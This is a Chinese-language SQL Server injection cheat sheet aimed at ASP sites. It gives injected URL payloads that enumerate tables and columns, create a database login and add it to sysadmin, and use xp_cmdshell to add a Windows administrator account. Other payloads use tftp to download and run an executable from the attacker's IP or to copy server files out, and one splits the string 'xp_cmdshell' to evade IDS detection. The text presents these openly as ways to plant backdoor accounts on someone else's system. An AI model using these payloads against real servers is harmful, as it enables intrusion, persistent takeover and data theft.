[獲得數(shù)據(jù)表名][將字段值更新為表名,再想法讀出這個(gè)字段的值就可得到表名] update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一個(gè)加一個(gè)]) [ where 條件]
[獲得數(shù)據(jù)表字段名][將字段值更新為字段名,再想法讀出這個(gè)字段的值就可得到字段名] update 表名 set 字段=(select top 1 col_name(object_id('要查詢(xún)的數(shù)據(jù)表名'),字段列如:1) [ where 條件]
也可以這樣更簡(jiǎn)捷的獲取表名:
select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',…)
通過(guò)SQLSERVER注入漏洞建數(shù)據(jù)庫(kù)管理員帳號(hào)和系統(tǒng)管理員帳號(hào)[當(dāng)前帳號(hào)必須是SYSADMIN組]
news.asp?id=2;exec master.dbo.sp_addlogin test,test;-- //添加數(shù)據(jù)庫(kù)用戶(hù)用戶(hù)test,密碼為test news.asp?id=2;exec master.dbo.sp_password test,123456,test;-- //如果想改密碼,則用這句(將test的密碼改為123456) news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;-- //將test加到sysadmin組,這個(gè)組的成員可執(zhí)行任何操作 news.asp?id=2;exec master.dbo.xp_cmdshell 'net user test test /add';-- //添加系統(tǒng)用戶(hù)test,密碼為test news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators test /add';-- //將系統(tǒng)用戶(hù)test提升為管理員
這樣,你在他的數(shù)據(jù)庫(kù)和系統(tǒng)內(nèi)都留下了test管理員賬號(hào)了
下面是如何從你的服器下載文件file.exe后運(yùn)行它[前提是你必須將你的電腦設(shè)為T(mén)FTP服務(wù)器,將69端口打開(kāi)]
id=2; exec master.dbo.xp_cmdshell 'tftp –i 你的IP get file.exe';--
然后運(yùn)行這個(gè)文件: id=2; exec master.dbo.xp_cmdshell 'file.exe';--
下載服務(wù)器的文件file2.doc到本地TFTP服務(wù)器[文件必須存在]:
id=2; exec master.dbo.xp_cmdshell 'tftp –i 你的IP Put file2.doc';--
繞過(guò)IDS的檢測(cè)[使用變量] declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\' declare @a sysname set @a='xp'+'_cm’+’dshell' exec @a 'dir c:\'
|